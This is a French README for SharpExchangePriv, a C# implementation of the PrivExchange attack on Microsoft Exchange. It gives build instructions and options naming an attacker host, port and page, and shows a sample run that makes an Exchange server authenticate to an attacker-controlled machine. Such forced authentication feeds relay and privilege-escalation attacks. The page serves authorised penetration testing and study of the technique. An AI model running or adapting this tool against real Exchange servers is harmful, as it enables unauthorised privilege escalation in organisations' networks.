
Une implémentation C# de PrivExchange par @_dirkjan.
Une implémentation C# de PrivExchange par @_dirkjan. Merci à @g0ldenGunSec, car je me suis appuyé sur son code.
Il a été testé sur Exchange 2016.
SharpExchangePriv a été construit avec .NET 3.5 et est compatible avec Visual Studio 2017. Ouvrez simplement le fichier solution et compilez le projet.
J'ai utilisé CommandLineParser pour analyser les arguments. Cela créera le fichier CommandLine.dll, ainsi que l'exécutable. Vous pouvez simplement fusionner le .exe et le .dll en un seul fichier exécutable :
ILMerge.exe /out:C:\SharpExchangePriv.exe C:\Release\SharpExchangePriv.exe C:\Release\CommandLine.dll
--targetHostDéfinissez l'IP de l'hôte cible.
--attackerHostDéfinissez l'IP de l'attaquant.
--attackerPortDéfinissez le port de l'attaquant.
--attackerPageDéfinissez la page de l'attaquant.
--sslActiver SSL.
--exchangeVersionDéfinissez la version d'Exchange, par défaut 2016.
--exchangePortDéfinissez le port cible d'Exchange.
C:\Users\george.brown\Desktop>SharpExchangePriv.exe --attackerHost 192.168.11.132 --targetHost 192.168.11.10
/$$$$$$$ /$$ /$$$$$$$$ /$$
| $$__ $$ |__/ | $$_____/ | $$
| $$ \ $$ /$$$$$$ /$$ /$$ /$$| $$ /$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$
| $$$$$$$//$$__ $$| $$| $$ /$$/| $$$$$ | $$ /$$/ /$$_____/| $$__ $$ |____ $$| $$__ $$ /$$__ $$ /$$__ $$
| $$____ /| $$ \__ /| $$ \ $$/$$/ | $$__ / \ $$$$/ | $$ | $$ \ $$ /$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$$$
| $$ | $$ | $$ \ $$$/ | $$ >$$ $$ | $$ | $$ | $$ /$$__ $$| $$ | $$| $$ | $$| $$_____ /
| $$ | $$ | $$ \ $/ | $$$$$$$$ /$$/\ $$| $$$$$$$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/ |__/ \_/ |________/|__/ \__/ \_______/|__/ |__/ \_______/|__/ |__/ \____ $$ \_______/
/$$ \ $$
| $$$$$$/
\______ /
@den_n1s
The target URL is https://192.168.11.10:443/EWS/Exchange.asmx
Sent request to exchange server: https://192.168.11.10:443/EWS/Exchange.asmx
HTTP 200 response received, the target Exchange server should be authenticating shortly.
Veuillez soumettre tout bug sur la page du projet Github ou contactez-moi sur Twitter @den_n1s.